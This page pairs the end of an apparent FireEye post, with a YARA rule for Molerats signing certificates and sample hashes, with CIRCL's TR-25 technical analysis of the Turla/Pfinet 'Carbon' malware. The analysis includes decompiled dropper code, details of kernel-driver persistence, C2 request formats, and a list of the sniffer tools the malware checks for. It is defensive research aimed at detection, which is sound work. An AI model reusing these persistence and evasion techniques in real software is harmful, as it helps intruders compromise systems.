Privacy  Cookies Policy  Site Map  Site Credits Previous Next  meta: author  FireEye Labs description  this rule detections code signed with certificates used by the Molerats actor strings: cert1  06 50 11 A5 BC BF 83 C0 93 28 16 5E 7E 85 27 75 cert2  03 e1 e1 aa a5 bc a1 9f ba 8c 42 05 8b 4a bf 28 cert3  0c c0 35 9c 9c 3c da 00 d7 e9 da 2d c6 ba 7b 6d condition: 1 of (cert)  Samples 9dff139bbbe476770294fb86f4e156ac 6350d1039742b87b7917a5e26de2c25c b0a9abc76a2b4335074a13939c59bfc9 5b740b4623b2d1049c0036a6aae684b0 9dff139bbbe476770294fb86f4e156ac cf31aea415e7013e85d1687a1c0f5daa 973b5f2a5608d243e7305ee4f9249302 e85fc76362c2e9dc7329fddda8acc89e b05603938a888018d4dcdc551c4be8ac 7084f3a2d63a16a191b7fcb2b19f0e0d 16346b95e6deef9da7fe796c31b9dec4 a8714aac274a18f1724d9702d40030bf d9a7c4a100cfefef995785f707be895c 9ef9a631160b96322010a5238defc673 a60873e364a01870b2010518d05a62df This entry was posted in Threat Intelligence, Threat Research by Nart Villeneuve, Ned Moran and Thoufique Haq.
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TR-25 Analysis - Turla / Pfinet / Snake/ Uroburos TR-25 Analysis - Turla / Pfinet / Snake/ Uroburos Back to Publications and Presentations Overview1.
Static Analysis2.
Sample A3.
Analysis - Installer4.
Dropped files5.
Sample B - usbdev.sys (Resource: 101)6.
Sample C - inetpub.dll (Resource: 102)7.
Sample D - cryptoapi.dll (Resource: 105)8.
Sample E - usbdev.sys - x64 - (Resouce: 161)9.
Sample F - inetpub.dll - x64 (Resource: 162)10.
Sample G - cryptoapi.dll - x64 (Resource: 165)11.
Sample H - config.txt12.
Analysis - Payload13.
Sample B - usbdev.sys (Resource: 101)14.
Sample D - cryptoapi.dll (Resource: 105)15.
Sample C - inetpub.dll (Resource: 102)16.
Other analysis17.
Analysis of check-in messages18.
Language deficits19.
Recommendations20.
Classification of this document21.
Revision22.
References23.
You can report incidents via our official contact including e-mail, phone or use the Anonymous reporting form.
Overview During the last weeks, various samples of Uroburos (also named Urob, Turla, Sengoku, Snark and Pfinet) were analyzed and reports have been published 1234, also analyses about a suspected predecessor, Agent.btz, are public 5.
CIRCL analyzed an older version of Turla, known as a representative of the Pfinet malware family.
The objective of this analysis is to gather additional Indicators of Compromise or behaviors in order to improve detection and to discover additional insights into the malware.
This document is not considered a final release but a work-in- progress document.
Static Analysis CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 1 of 34 12/31/2014 09:19 AM Sample A Hashes: Type of Hash Hash MD5 5b4a956c6ec246899b1d459838892493 SHA1 217b8fa45a24681551bd84b573795b5925b2573e SHA-256 93742b415f28f57c61e7ce7d55208f71d5c4880dc66616da52f3c274b20b43b0 ssdeep 24576:D0MfCZaSyUS7YXz3aHUXXeJozanHZCfBvt9MSc99rdI6cGHe:D02saHQXeManH81t9BONdI3VHe VirusTotal results for sample A AV product Result Bkav W32.Clod24a.Trojan.ceee MicroWorld-eScan Dropped:Backdoor.
Generic.252173 nProtect Dropped:Backdoor.
Generic.252173 McAfee Artemis5B4A956C6EC2 K7AntiVirus Riskware ( 10a2c0f80 ) K7GW Trojan ( 00155adb1 ) NANO-Antivirus Trojan.
Win64.Agent.lsivh F-Prot W32/MalwareS.IHA Symantec Backdoor.
Pfinet Norman Suspicious_Gen3.DGZV TotalDefense Win32/Pfinet.
A TrendMicro-HouseCall TROJ_GEN.R27E1AH Avast Win32:Malware-gen ClamAV Trojan.
Agent-126457 Kaspersky Trojan.
Win32.Genome.hitb BitDefender Dropped:Backdoor.
Generic.252173 Agnitum Trojan.
MeredropA/hBhJuuNc Ad-Aware Dropped:Backdoor.
Generic.252173 Sophos Mal/Generic-S Comodo TrojWare.
Win32.Agent.czua F-Secure Dropped:Backdoor.
Generic.252173 DrWeb Trojan.
Siggen.27969 VIPRE Trojan.
Win32.GenericBT AntiVir TR/Agent.czua TrendMicro TROJ_GEN.R27E1AH McAfee-GW-Edition Artemis5B4A956C6EC2 Emsisoft Dropped:Backdoor.
Generic.252173 (B) Microsoft Backdoor:WinNT/Pfinet.
B GData Dropped:Backdoor.
Generic.252173 Commtouch W32/Risk.
DWJW-7987 VBA32 Trojan.
Agent2 Baidu-International Trojan.
Win32.Genome.aR ESET-NOD32 a variant of Win32/Turla.
AC Ikarus Trojan.
Win32.Genome Fortinet W32/Pfinettr AVG Generic16.BBMD Panda Trj/Hmir.
F Scanned: 2014-03-16 01:12:54 - 49 scans - 37 detections (75.0) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 2 of 34 12/31/2014 09:19 AM File characteristics Meta data Size:    1052672 bytes Type:    PE32 executable (GUI) Intel 80386, for MS Windows Date:    0x4AC5A74C [Fri Oct  2 07:10:04 2009 UTC] EP:      0x4021bb .text 0/5 CRC:     Claimed: 0x0, Actual: 0x110f40 [SUSPICIOUS] Resource entries Name      RVA      Size     Lang         Sublang             Type -------------------------------------------------------------------------------- BINARY    0xd190   0x3dc00  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (native) Intel 80386, for MS Windows BINARY    0x4ad90  0x1d000  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows BINARY    0x67d90  0x21000  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows BINARY    0x88d90  0x1f9    LANG_ENGLISH SUBLANG_ENGLISH_US  ASCII text, with CRLF, LF line terminators BINARY    0x88f90  0x37c00  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (native) x86-64, for MS Windows BINARY    0xc0b90  0x1bc00  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (GUI) x86-64, for MS Windows BINARY    0xdc790  0x24200  LANG_ENGLISH SUBLANG_ENGLISH_US  PE32 executable (DLL) (GUI) x86-64, for MS Windows Version info No version information included.
Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x6f34       0x7000       6.582374 .rdata     0x8000       0x1fb8       0x2000       4.803196 .data      0xa000       0x26f4       0x1000       1.559595 .rsrc      0xd000       0xf3990      0xf4000      5.977919 .reloc     0x101000     0x188c       0x2000       2.462180 SECTION 1 (.text   ): virtual size                  : 00006F34 (  28468.)
virtual address               : 00001000 section size                  : 00007000 (  28672.)
offset to raw data for section: 00001000 offset to relocation          : 00000000 offset to line numbers        : 00000000 number of relocation entries  : 0 number of line number entries : 0 alignment                     : 0 byte(s) Flags 60000020: text only Executable Readable SECTION 2 (.rdata  ): virtual size                  : 00001FB8 (   8120.)
virtual address               : 00008000 section size                  : 00002000 (   8192.)
offset to raw data for section: 00008000 offset to relocation          : 00000000 offset to line numbers        : 00000000 number of relocation entries  : 0 number of line number entries : 0 alignment                     : 0 byte(s) Flags 40000040: data only Readable SECTION 3 (.data   ): virtual size                  : 000026F4 (   9972.)
virtual address               : 0000A000 section size                  : 00001000 (   4096.)
offset to raw data for section: 0000A000 offset to relocation          : 00000000 offset to line numbers        : 00000000 number of relocation entries  : 0 number of line number entries : 0 alignment                     : 0 byte(s) Flags C0000040: CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 3 of 34 12/31/2014 09:19 AM data only Readable Writable SECTION 4 (.rsrc   ): virtual size                  : 000F3990 ( 997776.)
virtual address               : 0000D000 section size                  : 000F4000 ( 999424.)
offset to raw data for section: 0000B000 offset to relocation          : 00000000 offset to line numbers        : 00000000 number of relocation entries  : 0 number of line number entries : 0 alignment                     : 0 byte(s) Flags 40000040: data only Readable SECTION 5 (.reloc  ): virtual size                  : 0000188C (   6284.)
virtual address               : 00101000 section size                  : 00002000 (   8192.)
offset to raw data for section: 000FF000 offset to relocation          : 00000000 offset to line numbers        : 00000000 number of relocation entries  : 0 number of line number entries : 0 alignment                     : 0 byte(s) Flags 42000040: data only Discardable Readable Strings The order of strings embedded in clear text in Sample A indicate that this file contains several other files, because the DOS stub (This program cannot be run in DOS mode.)
is present multiple times.
We include interesting strings in the corresponding subsection.
Analysis - Installer Sample A can be considered an installer or dropper.
It drops files into the system and initializes the environment for production.
First, it probes if a virtual disk \DEVICE\IdeDrive1\ is present on the system.
If not, the virtual disk is being created with file system NTFS, using FormatEx from Microsofts fmifs.dll.
1int __cdecl create_virtual_disk() 2 3  HMODULE hModule_fmifs.dll 4  int result 5  FARPROC FormatEx 6  WCHAR VirtualDisk 7 8  result  0 9  hModule_fmifs.dll  LoadLibraryA(fmifs.dll) 10  if ( hModule_fmifs.dll ) 11 12    FormatEx  GetProcAddress(hModule_fmifs.dll, FormatEx) 13    if ( FormatEx ) 14 15      wsprintfW(VirtualDisk, LS, \\\\.\\IdeDrive1\\\\) 16      (FormatEx)(VirtualDisk, FMIFS_HARDDISK, LNTFS, gVirtualDiskName, 1, 0, FormatExCallback) 17      result  gFormatExCallbackActionInfo  0 18 19    FreeLibrary(hModule_fmifs.dll) 20 21  else 22 23    result  0 24 25  return result 26 CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 4 of 34 12/31/2014 09:19 AM The presence of the malwares configuration file is tested: \DEVICE\IdeDrive1\config.txt If not found, it is dropped from the resource section 0x88d90.
The following files are dropped depending on whether Windows is running in 32 bit or 64 bit.
SystemRoot\NtUninstallQ722833\usbdev.sys (hidden) \DEVICE\IdeDrive1\inetpub.dll \DEVICE\IdeDrive1\cryptoapi.dll Independently from the architecture, the file names of the dropped files are the same, but a specific version of the file is dropped according to the operating system architecture.
This is achieved by a logic similar to the following one.
This is done for all files except the configuration file.
1if ( IsWow64 ) 2 3          res  create_from_resources(162, \\\\.\\IdeDrive1\\inetpub.dll) 4          if ( last_error ) 5 6            error  GetLastError() 7            log(last_error, ef1... d, d\n, res, error) 8 9          v29  create_from_resources(165, \\\\.\\IdeDrive1\\cryptoapi.dll) 10 The function create_from_resources() looks like: 1int __cdecl create_from_resources(LPCSTR NameOfResource, LPCSTR lpSrc) 2 3  HRSRC HRSRC 4  HGLOBAL hGlobal 5  DWORD SizeOfResource 6  HANDLE hFile 7  DWORD error 8  CHAR lpFileName 9  char pSecurityDescriptor 10  DWORD NumberOfBytesWritten 11  LPCVOID lpBuffer 12 13  ExpandEnvironmentStringsA(lpSrc, lpFileName, 0x104u) 14  HRSRC  FindResourceA(0, NameOfResource, BINARY) 15  if ( HRSRC ) 16    return 0 17  hGlobal  LoadResource(0, HRSRC) 18  if ( hGlobal ) 19    return 0 20  lpBuffer  LockResource(hGlobal) 21  if ( lpBuffer ) 22    return 0 23  SizeOfResource  SizeofResource(0, HRSRC) 24  hFile  CreateFileA(lpFileName, GENERIC_WRITE, 0, 0, 2u, 0x80u, 0) 25  if ( hFile  -1 ) 26 27    if ( last_error ) 28 29      error  GetLastError() 30      log(last_error, ex_fail... d\n, error) 31 32    return 0 33 34  WriteFile(hFile, lpBuffer, SizeOfResource, NumberOfBytesWritten, 0) 35  CloseHandle(hFile) 36  if ( InitializeSecurityDescriptor(pSecurityDescriptor, 1u) ) 37    return 0 38  return SetFileSecurityA(lpFileName, DACL_SECURITY_INFORMATION, pSecurityDescriptor)  0 39 Subsequently, after dropping the correct files, the malware makes itself persistent on the system and creates a service with the following parameters, which loads the file usbdev.sys as a kernel driver: In:           HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services: Key:          usblink Type:         1 (SERVICE_KERNEL_DRIVER) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 5 of 34 12/31/2014 09:19 AM Start:   1 (SERVICE_SYSTEM_START) ErrorControl: 0 (SERVICE_ERROR_IGNORE) Group:        Streams Drivers DisplayName:  usblink ImagePath:    \SystemRoot\NtUninstallQ722833\usbdev.sys If during installation anything goes wrong, the registry keys are deleted.
The files however are not.
During the installation process, extensive logging is ensuring good visibility on potential installation problems.
The attacker uses english language for the logging, although he is lacking attention to detail when it comes to correct usage of the language, as the following examples demonstrate: win32 detect... (should be simple past) x64 detect... (should be simple past) CretaFileA(s): (should be CreateFileA) Cant open SERVICES key (that shouldnt be a backtick) Language deficits are also demonstrated in other files of this collection.
We show them in a separate chapter.
A list of dropped files is given in the next chapter.
Dropped files Sample B - usbdev.sys (Resource: 101) Hashes Type of Hash Hash MD5 db93128bff2912a75b39ee117796cdc6 SHA1 418645c09002845a8554095b355f47907f762797 SHA-256 57b8c2f5cfeaca97da58cfcdaf10c88dbc2c987c436ddc1ad7b7ed31879cb665 ssdeep 3072:3B9f3bhjFqCjAsWnQNCb/XzeQdRSFqfCeEmI/2XxjptNdjxjkMAE4E:3B9tQHWLrFfCZmI /MttBE4 VirusTotal results for sample B AV product Result Bkav W32.Cloda11.Trojan.222a MicroWorld-eScan Backdoor.
Generic.252173 nProtect Trojan/W32.Agent2.252928 McAfee ArtemisDB93128BFF29 K7GW Trojan ( 0001140e1 ) K7AntiVirus Riskware ( 10a2c0f80 ) Agnitum Trojan.
Agent2HMPS2EOZWFE F-Prot W32/MalwareS.IHA Symantec Backdoor.
Pfinet Norman Suspicious_Gen3.DGZV TrendMicro-HouseCall TROJ_GEN.R27E1AH Avast Win32:Malware-gen Kaspersky Trojan.
Win32.Agent2.flce BitDefender Backdoor.
Generic.252173 Ad-Aware Backdoor.
Generic.252173 Sophos Mal/Generic-S F-Secure Backdoor.
Generic.252173 DrWeb Trojan.
Siggen1.51234 VIPRE Trojan.
Win32.GenericBT AntiVir TR/Rootkit.
Gen TrendMicro TROJ_GEN.R27E1AH CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 6 of 34 12/31/2014 09:19 AM AV product Result McAfee-GW-Edition ArtemisDB93128BFF29 Emsisoft Backdoor.
Generic.252173 (B) Jiangmin Trojan/Agent.djjf Antiy-AVL Trojan/Win32.Agent2 Kingsoft Win32.Troj.
Agent2.
(kcloud) Microsoft Backdoor:WinNT/Pfinet.
B GData Backdoor.
Generic.252173 Commtouch W32/Risk.
DWJW-7987 VBA32 Trojan.
Agent2 Panda Rootkit/Agent.
IOO ESET-NOD32 a variant of Win32/Turla.
AC Ikarus Trojan.
Win32.Agent Fortinet W32/Agent2.LDYtr AVG Agent2.AHWF Baidu-International Trojan.
Win32.Agent.
AFZ Scanned: 2014-03-23 21:28:41 - 51 scans - 36 detections (70.0) File characteristics Meta data Size:    252928 bytes Type:    PE32 executable (DLL) (native) Intel 80386, for MS Windows Date:    0x4AC48FC8 [Thu Oct  1 11:17:28 2009 UTC] EP:      0x22d80 .text 0/5 CRC:     Claimed: 0x3e7fe, Actual: 0x3e7fe Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x28084      0x28200      6.325480 .basein    0x2a000      0x135        0x200        3.791369 .data      0x2b000      0x20e34      0x12600      1.335577 INIT       0x4c000      0xebc        0x1000       5.343628 .reloc     0x4d000      0x1de0       0x1e00       6.448244 Strings Interesting strings: CsrClientCallServer ExitThread LdrGetProcedureAddress ZwTerminateThread \SystemRoot\system32\s IoCreateDevice ModuleStart ModuleStop \?
?\s\cryptoapi.dll \?
?\s\inetpub.dll services.exe iexplore.exe firefox.exe opera.exe netscape.exe mozilla.exe msimn.exe outlook.exe adobeupdater.exe Sample C - inetpub.dll (Resource: 102) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 7 of 34 12/31/2014 09:19 AM Hashes Type of Hash Hash MD5 2145945b9b32b4ccbd498db50419b39b SHA1 690f18810b0cbef06f7b864c7585bd6ed0d207e0 SHA-256 3de0ba77fa2d8b26e4226fd28edc3ab8448434d851f6b2b268ec072c5da92ade ssdeep 3072:HPHvQByUS7Yqy7UKJm1Y3a3v/z61dmh9f3b/LAaulNA7:HPHqyUS7YqyIKH3aHz61Mh9jZulNC VirusTotal results for sample C AV product Result McAfee Generic.dxwel K7AntiVirus Riskware Symantec Backdoor.
Pfinet Norman W32/Suspicious_Gen3.UANR Avast Win32:Malware-gen eSafe Win32.TRATRAPS BitDefender Backdoor.
Generic.429659 F-Secure Backdoor.
Generic.429659 VIPRE Trojan.
Win32.GenericBT AntiVir TR/ATRAPS.Gen McAfee-GW-Edition Generic.dxwel Emsisoft Backdoor.
SuspectCRCIK Antiy-AVL Trojan/win32.agent.gen GData Backdoor.
Generic.429659 AhnLab-V3 Backdoor/Win32.Pfinet PCTools Backdoor.
Pfinet Ikarus Backdoor.
SuspectCRC Panda Trj/CI.A Avast5 Win32:Malware-gen Scanned: 2011-07-07 04:43:10 - 43 scans - 19 detections (44.0) File characteristics Meta data Size:    118784 bytes Type:    PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Date:    0x4AC5A6A4 [Fri Oct  2 07:07:16 2009 UTC] EP:      0x20013857 .text 0/5 CRC:     Claimed: 0x0, Actual: 0x2cb10 [SUSPICIOUS] Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x12976      0x13000      6.509133 .basein    0x14000      0x97         0x1000       0.418760    [SUSPICIOUS] .rdata     0x15000      0x4ede       0x5000       7.011329    [SUSPICIOUS] .data      0x1a000      0x15f0       0x1000       5.453684 .reloc     0x1c000      0x152a       0x2000       4.423836 Exports Flags         : 00000000 Time stamp    : Fri Oct  2 09:07:16 2009 Version       : 0.0 DLL name      : CARBON.dll Ordinals base : 1.
(
00000001) of Addresses: 2.
(
00000002) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 8 of 34 12/31/2014 09:19 AM of Names    : 2.
(
00000002) 1.
00002CB9 ModuleStart 2.
0000266C ModuleStop Strings \\.\IdeDrive1\\config.txt ReceiveTimeout SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings NAME object_id VERSION User Carbon v3.51 OPERWrong config: bad address Mozilla/4.0 (compatible MSIE 6.0) OPERWrong config: no port OPERWrong config: empty address address CW_INET quantity user_winmax user_winmin STCarbon v3.51 \\.\IdeDrive1\\log.txt Global\MSMMC.StartupEnvironment.
PPT Global\411A5195CD73A8a710E4BB16842FA42C Global\881F0621AC59C4c035A5DC92158AB85E Global\MSCTF.Shared.
MUTEX.RPM Global\WindowsShellHWDetection Global\MSDBG.Global.
MUTEX.ATF TRd Id: hide_module_win32.c 10189 2008-11-25 14:25:41Z gilg ZwWow64ReadVirtualMemory64 Id: load_lib_win32.c 10180 2008-11-20 12:13:01Z gilg \SysWOW64\ \System32\ CreateRemoteThread ZwTerminateThread LdrGetProcedureAddress ExitThread Id: mutex.c 3940 2006-03-20 16:47:16Z vlad Id: rw_lock.c 4482 2006-08-30 13:07:14Z vlad x-x-x-x 02d/02d/02d02d:02d:02dsu search.google.com www.easports.com www.sun.com www.dell.com www.3com.com www.altavista.com www.hp.com search.microsoft.com windowsupdate.microsoft.com www.microsoft.com www.asus.com www.eagames.com www.google.com www.astalavista.com www.bbc.com www.yahoo.com CreateToolhelp32Snapshot() failed: d OPERSniffer s running... ooopppsss... snoop.exe ettercap.exe wireshark.exe ethereal.exe windump.exe tcpdump.exe HTTP/1.1 sauth.cgi?modequeryidu:u:u:uservslangenqu-udates Y-m-d sdefault.asp?actuiduitemuevent_iduclnufltuservstldmodequerylangendates lastconnect timestop .bak \\.\IdeDrive1\\ D:AI CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 9 of 34 12/31/2014 09:19 AM OPERWrong timeout: high  low Mem alloc err P-1dNULLd P0sdHCd HCd P-1dsd \\.\IdeDrive1\\Results\result.txt POST HTTP/1.0 A-1uss uss Task d failed s,d \\.\IdeDrive1\\Results\ 207.46.249.57 207.46.249.56 207.46.250.119 microsoft.com 207.46.253.125 207.46.18.94 update.microsoft.com G0dd usss OPERWrong config S0s S-1ds logperiod lastsend logmax logmin CopyFile(s, s):d CrPr(),WL(),AU() error: d CrPr() WaitForSingleObject() error: d CrPr() wait timeout d msec exceeded: d T-1dd Task not execute.
Arg file failed.
WORKDATA run_task DELETE COMPRESSION RESULT stdout CONFIG cmd.exe time2task m_recv() RESULT failed.
A-1usd active_con m_send() TASK failed.
OBJECT ACK failed.
Internal task d obj s not equal robj s... very strange m_recv() OBJECT failed.
m_send() OBJECT failed.
m_send() WHO failed.
AUTH failed.
m_recv() AUTH failed.
m_send() AUTH failed.
m_connect() failed.
m_setoptlist() failed.
net_password net_user alloweveryone write_peer_nfocsc frag_no_scrambling1 frag_size32768 m_create() failed.
frag.np \\s\pipe\comnode W2sd 127.0.0.1 m_send() ZERO failed.
Trans task d obj s ACTIVE fail robj s net_passwords net_users \\s\pipe\s frag.tcp s:d W1sd ussssdss \\.\IdeDrive1\\Tasks\task_system.txt CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 10 of 34 12/31/2014 09:19 AM ussssd \\.\IdeDrive1\\Tasks\task.txt ussss \\.\IdeDrive1\\Tasks\ W0sd W-1sd start Ted Tsd task_max task_min Id reconstructing block ... 6d unresolved strings depth 6d has bucket sorting ... d pointers, d sorted, d scanned qsort [0xx, 0xx]   done d   this d main sort initialise ... too repetitive using fallback sorting algorithm d work, d block, ratio 5.2f CONFIG_ERROR OUTBUFF_FULL UNEXPECTED_EOF IO_ERROR DATA_ERROR_MAGIC DATA_ERROR MEM_ERROR PARAM_ERROR SEQUENCE_ERROR codes d code lengths d, selectors d, bytes: mapping d, pass d: size is d, grp uses are initial group d, [d .. d], has d syms (4.1f) Y      d in block, d after MTF  1-2 coding, d2 syms in use final combined CRC  0xx block d: crc  0x8x, combined CRC  0x8x, size  d Id: b2_to_m2_stub.c 5273 2007-01-23 17:41:15Z vlad Id: b_tcp.c 8474 2007-09-19 15:40:39Z vlad TCP: closed.
TCP: connecting... Y1N0 nodelay TCP: send TCP: recv s:u nodelay1 TCP: resolved s TCP: resolving host name... Id: l1_check.c 4477 2006-08-28 15:58:21Z vlad Id: m2_to_b2_stub.c 4477 2006-08-28 15:58:21Z vlad Id: m_frag.c 8715 2007-11-29 16:04:46Z urik peer_frag_size frag_no_scrambling frag_size Frag: send Id: m_np.c 8825 2008-01-10 13:13:15Z vlad \\.\pipe\ no_server_hijack imp_level net_password net_user write_peer_nfo read_peer_nfo everyone allow Id: np_win32_common.c 4483 2006-08-30 13:13:51Z vlad anonymous every1 \ipc \pipe\ Id: t_byte1.c 5324 2007-01-30 12:45:35Z vlad frag Id: t_manager.c 8715 2007-11-29 16:04:46Z urik transports Id: t_message1.c 5290 2007-01-26 11:15:03Z vlad licence error CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 11 of 34 12/31/2014 09:19 AM Sample D - cryptoapi.dll (Resource: 105) Hashes Type of Hash Hash MD5 a67311ec502593630307a5f3c220dc59 SHA1 74b0c62737f43b0138cfae0d0972178a14fbea10 SHA-256 67bc775cc1a58930201ef247ace86cc5c8569057d4911a8e910ac2263c8eb880 ssdeep 3072:/eZCuX04e/tmjQFFTNna3bFy99f3bay/FjIJA:/eZbUIj4zaLFw9/JI VirusTotal results for sample D AV product Result CAT-QuickHeal Backdoor.
Pfinet McAfee Generic.dxueu K7AntiVirus Riskware VirusBuster Backdoor.
AgentJK8atQHb1PQ Symantec Backdoor.
Pfinet Norman W32/Suspicious_Gen3.JVLR TrendMicro-HouseCall TROJ_GEN.R47C3JS Avast Win32:Malware-gen Kaspersky UDS:DangerousObject.
Multi.
Generic BitDefender Backdoor.
Generic.264016 Emsisoft Backdoor.
SuspectCRCIK Comodo UnclassifiedMalware F-Secure Backdoor.
Generic.264016 VIPRE Trojan.
Win32.GenericBT AntiVir TR/ATRAPS.Gen TrendMicro TROJ_GEN.R47C3JS McAfee-GW-Edition Heuristic.
BehavesLike.
Win32.Suspicious.
H GData Backdoor.
Generic.264016 AhnLab-V3 Backdoor/Win32.Pfinet PCTools Backdoor.
Pfinet Ikarus Backdoor.
SuspectCRC Panda Trj/CI.A Avast5 Win32:Malware-gen Scanned: 2011-05-08 11:16:36 - 42 scans - 23 detections (54.0) File characteristics Meta data Size:    135168 bytes Type:    PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Date:    0x4AC5A662 [Fri Oct  2 07:06:10 2009 UTC] EP:      0x20015d85 .text 0/5 CRC:     Claimed: 0x0, Actual: 0x2ccd6 [SUSPICIOUS] Exports Flags         : 00000000 Time stamp    : Fri Oct  2 09:06:07 2009 Version       : 0.0 DLL name      : carbon_system.dll Ordinals base : 1.
(
00000001) of Addresses: 1.
(
00000001) of Names    : 1.
(
00000001) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 12 of 34 12/31/2014 09:19 AM 1.
00002655 ModuleStart Sections Name       VirtAddr     VirtSize     RawSize      Entropy -------------------------------------------------------------------------------- .text      0x1000       0x150d5      0x16000      6.417399 .basein    0x17000      0x97         0x1000       0.418760    [SUSPICIOUS] .rdata     0x18000      0x5380       0x6000       6.450645 .data      0x1e000      0x15e0       0x1000       5.450370 .reloc     0x20000      0x15e4       0x2000       4.991237 Strings Id: t_utils.c 5503 2007-02-26 13:14:30Z vlad Id: t_status.c 5666 2007-03-19 16:18:00Z vlad Id: t_message1.c 5290 2007-01-26 11:15:03Z vlad Id: t_manager.c 8715 2007-11-29 16:04:46Z urik Id: t_byte1.c 5324 2007-01-30 12:45:35Z vlad Id: np_win32_common.c 4483 2006-08-30 13:13:51Z vlad Id: m_np.c 8825 2008-01-10 13:13:15Z vlad Id: m_frag.c 8715 2007-11-29 16:04:46Z urik Id: m2_to_b2_stub.c 4477 2006-08-28 15:58:21Z vlad Id: l1_check.c 4477 2006-08-28 15:58:21Z vlad Id: b_tcp.c 8474 2007-09-19 15:40:39Z vlad Id: b2_to_m2_stub.c 5273 2007-01-23 17:41:15Z vlad Id: thread.c 4593 2006-10-12 11:43:29Z urik Id: rw_lock.c 4482 2006-08-30 13:07:14Z vlad Id: mutex.c 3940 2006-03-20 16:47:16Z vlad Id: load_lib_win32.c 10180 2008-11-20 12:13:01Z gilg Id: hide_module_win32.c 10189 2008-11-25 14:25:41Z gilg \\.\IdeDrive1\\Tasks\ \\.\IdeDrive1\\Results\ Global\MSDBG.Global.
MUTEX.ATF Global\WindowsShellHWDetection Global\MSCTF.Shared.
MUTEX.RPM Global\881F0621AC59C4c035A5DC92158AB85E Global\411A5195CD73A8a710E4BB16842FA42C Global\MSMMC.StartupEnvironment.
PPT \\.\IdeDrive1\\log.txt TRd SRd STCarbon v3.61 \\.\IdeDrive1\\.bak \\.\IdeDrive1\\ \\.\IdeDrive1\\Tasks\task.txt \\.\IdeDrive1\\Tasks\task_system.txt \\.\IdeDrive1\\Tasks\.tmp \\.\IdeDrive1\\config.txt sys_winmin TIME sys_winmax \\.\IdeDrive1\\restrans.txt quantity CW_LOCAL address object D:(AOICIIDGRGWGXWD) Carbon v3.61 System VERSION object_id NAME CW_INET logperiod OPERSurvive me, im close to death... free space less than 5... OPERLow space... free space less than 10... ZwWow64ReadVirtualMemory64 ExitThread LdrGetProcedureAddress ZwTerminateThread CreateRemoteThread \System32\ \SysWOW64\ OPERWrong timeout: high  low 02d/02d/02d02d:02d:02dss CreateToolhelp32Snapshot() failed: d CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 13 of 34 12/31/2014 09:19 AM tcpdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe OPERSniffer s running... ooopppsss... x-x-x-x run_task_system WORKDATA \\.\IdeDrive1\\Results\result.txt Id task_min task_max Tsd u1ss u2sss Ted start time2task cmd.exe CONFIG stdout RESULT COMPRESSION DELETE uss usss Task not execute.
Arg file failed.
T-1dd AS_USER:LogonUser():d AS_USER:DuplicateTokenEx():d explorer.exe AS_CUR_USER:OpenProcessToken():d AS_CUR_USER:DuplicateTokenEx():d CrPr() wait timeout d msec exceeded: d CrPr() WaitForSingleObject() error: d CrPr(),WL(),AU():d CopyFile(s, s):d Memory allocation error.
Use no compression frag.np \\.\Global\PIPE\comnode frag_size32768 frag_no_scrambling1 alloweveryone active_con frag.tcp/s:445 frag.np/s \\.\IdeDrive1\\logtrans.txt A2s Wss m_send() ZERO1 failed Wsss \.tmp m_send() ZERO2 failed Rsd \\s\pipe\comnode frag.tcp net_user net_password write_peer_nfocsc P0sd P-1dsd P-1dd nodelayN W-1ds SEND AUTH W-1dss RECV AUTH AUTH FAILED SEND WHO SEND OBJECT_ID logmin logmax lastsend S0s S-1ds Task d failed s, d A-1uss CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 14 of 34 12/31/2014 09:19 AM timestop lastconnect .bak u:u:u:u:u Freeze Ok.
\NtUninstallQ722833\usbdev.sys \\.\IdeDrive1\\usbdev.bak \\.\IdeDrive1\\inetpub.bak \\.\IdeDrive1\\inetpub.dll \\.\IdeDrive1\\cryptoapi.bak \\.\IdeDrive1\\cryptoapi.dll Update Ok.
Update failed ((  Cant create file.
\\.\IdeDrive1\\Plugins\ Cant create file s, error d (( Create plugin s OK.
Create plugin s failed.
Write error, d. PLUGINS Find existing record.
not_startedd Config update success.
enables Config record error: s  s. Plugin not found in config.
Plugin already loaded.
ModuleStart cant find entry point.
loadlibrary() failed.
Plugin start failed, d try to run dll with user priv.
cant get characs.
Plugin not PE format.
Plugin start success.
Plugin start failed.
disables removeds Plugin not loaded.
Plugin deleted.
Plugin delete failed, d. Plugin terminated.
